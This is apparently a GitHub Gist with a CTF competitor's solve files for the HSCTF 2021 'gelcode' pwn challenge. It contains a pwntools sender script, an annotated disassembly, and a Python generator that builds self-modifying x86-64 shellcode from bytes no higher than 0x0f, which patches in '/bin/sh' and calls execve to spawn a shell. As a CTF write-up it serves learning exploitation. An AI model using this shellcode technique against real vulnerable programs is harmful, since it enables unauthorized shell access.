Last active
June 19, 2021 21:40
-
-
Save kevin-he-01/2a25ebd9f833527410ec4de345661c47 to your computer and use it in GitHub Desktop.
HSCTF 2021: My solve files (mini writeup) for pwn/gelcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
r = remote('gelcode.hsc.tf', 1337) | |
# Run mkshellcode.py to generate this file | |
with open('sc.in', 'rb') as scf: | |
r.send(scf.read()) | |
r.interactive() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Line by line explanation: | |
Line 1: NOP + b'\x05\0\0\0\0' + b'\x00\x07' | |
0: 0c 00 or al, 0x0 | |
2: 05 00 00 00 00 add eax, 0x0 | |
7: 00 07 add BYTE PTR [rdi], al | |
Explanation: This code does nothing except ensuring DWORD PTR [edx + 4] is zero since execve(rdi, rsi, rdx) requires that rsi and rdx be an array to valid pointers or NULL's | |
In 64-bit (amd64) byte 0-7 must all be 0 (byte 0-3 can't be zero or it will not be sane code, this is corrected later) | |
Line 2: seteax(0xfffafff4) + b'\x01\x02' | |
<set eax to 0xfffafff4> | |
add DWORD PTR [edx], eax | |
Explanation: Set DWORD PTR [edx] to 0 by adding 0xfffafff4 to 0x0005000c (byte 0-3 of this shellcode is 0c 00 05 00 and amd64 is little endian) | |
Line 3: seteax(u32(b'/bin')) + b'\x01\x07' + seteax(0x47) | |
<set eax to u32(b'/bin')> | |
add DWORD PTR [edi], eax | |
Explanation: Load the first part of /bin/sh into DWORD PTR [rdi]. It assumes that DWORD PTR [rdi] is initially zero (true in libc-2.31.so) | |
Line 4: seteax(0x47) + b'\x00\x05\0\1\0\0' + NOP * ((256 - SETEAX_SC_LEN - 1) // 2) + seteax(u32(b'/sh\0')) + b'\x01\x47\x04' | |
10c: 00 05 00 01 00 00 add BYTE PTR [rip+0x100], al # modify its own code to patch the invalid byte @ 0x212 with the correct value: 0x47 | |
112: 0c 00 or al, 0x0 # essentially nop | |
114: 0c 00 or al, 0x0 | |
116: 0c 00 or al, 0x0 | |
<nop sled continues...> | |
1ba: 0c 00 or al, 0x0 | |
<set eax to u32(b'/sh\0')> | |
211: 01 47 04 add DWORD PTR [rdi+0x4], eax # note 0x47 is an invalid byte (will be reset to 0x0) so it must be patched by the code before | |
Explanation: rip is the program counter in x86-64. | |
The first instruction | |
add BYTE PTR [rip+0x100], al | |
uses RIP-relative addressing, where the effective address is 0x100 bytes beyond | |
The nop sled is necessary because the offset in | |
add BYTE PTR [rip+offset], al | |
can only be encoded using bytes <= 0xf and | |
the <set eax to u32(b'/sh\0')> part takes up significant space (offset > 0xf). | |
The best number would be 0x100 so some NOP-padding is added | |
Line 5: seteax(SYS_EXECVE) + SYSCALL | |
Spawn a shell by calling execve(rdi, rsi, rdx) = execve("/bin/sh", {NULL}, {NULL}) | |
set eax to the syscall number SYS_EXECVE = 59 and then use the syscall instruction, which encodes to 0xf 0xb which uses only legal characters |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
# Useful: http://sparksandflames.com/files/x86InstructionChart.html | |
# http://ref.x86asm.net/coder.html | |
from pwnlib.util.packing import p32, u32 # type: ignore | |
from pwnlib.context import context | |
from pwnlib.asm import disasm | |
context.update(arch='amd64', bits=64) | |
SYS_EXECVE = 59 | |
SYSCALL = b'\x0f\x05' | |
NOP = b'\x0c\x00' | |
# 85 = (16 + 1) * 5 | |
SETEAX_SC_LEN = 85 | |
def getshellcode() -> bytes: | |
eax = 0 # initial eax value is 0 (In this binary, eax is the return value of the last non-void return function called which happens to be 0) | |
# This is confirmed thorugh GDB | |
# seteax is a convenience function to return shellcode that sets eax to an arbitrary constant | |
# it depends on the previous value of eax since it uses add eax, imm32 | |
def seteax(neweax): | |
nonlocal eax | |
offset = neweax - eax | |
lower_nibbles = offset & 0x0f0f0f0f | |
upper_nibbles = (offset & 0xf0f0f0f0) >> 4 | |
ret = (b'\x05' + p32(upper_nibbles)) * 16 + b'\x05' + p32(lower_nibbles) | |
eax = neweax | |
assert len(ret) == SETEAX_SC_LEN | |
return ret | |
## Main shellcode (esi and edx both points to the start of the shellcode (byte 0) on entry, because `call edx` is how this shellcode is invoked) | |
# See mkshellcode-explanation.txt for an explanation of the 4 lines below | |
return NOP + b'\x05\0\0\0\0' + b'\x00\x07' + \ | |
seteax(0xfffafff4) + b'\x01\x02' + \ | |
seteax(u32(b'/bin')) + b'\x01\x07' + \ | |
seteax(0x47) + b'\x00\x05\0\1\0\0' + NOP * ((0x100 - SETEAX_SC_LEN - 1) // len(NOP)) + seteax(u32(b'/sh\0')) + b'\x01\x47\x04' + \ | |
seteax(SYS_EXECVE) + SYSCALL | |
## TEST 1 | |
# times 60 add al, 1 | |
# syscall | |
# return b'\x04\x01' * 60 + b'\x0f\x05' | |
## TEST 2: write arbitrary value to eax | |
# return seteax(0xdeadbeef) + seteax(0x13375eed) | |
## TEST 3: self-modifying code to achieve 0xc3 (RET) | |
# return seteax(0xc3) + b'\x00\x05\0\0\0\0' + b'\0' | |
sc = getshellcode() | |
print(disasm(sc)) # debug | |
print('Shellcode length: {}'.format(len(sc))) | |
with open('sc.in', 'wb') as scf: | |
scf.write((sc + b'\x0f\x0b').ljust(1000, b'\0')) | |
# syscall is POSSIBLE: b'\x0f\x05', 0x0f is the max | |
# add al is possible |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment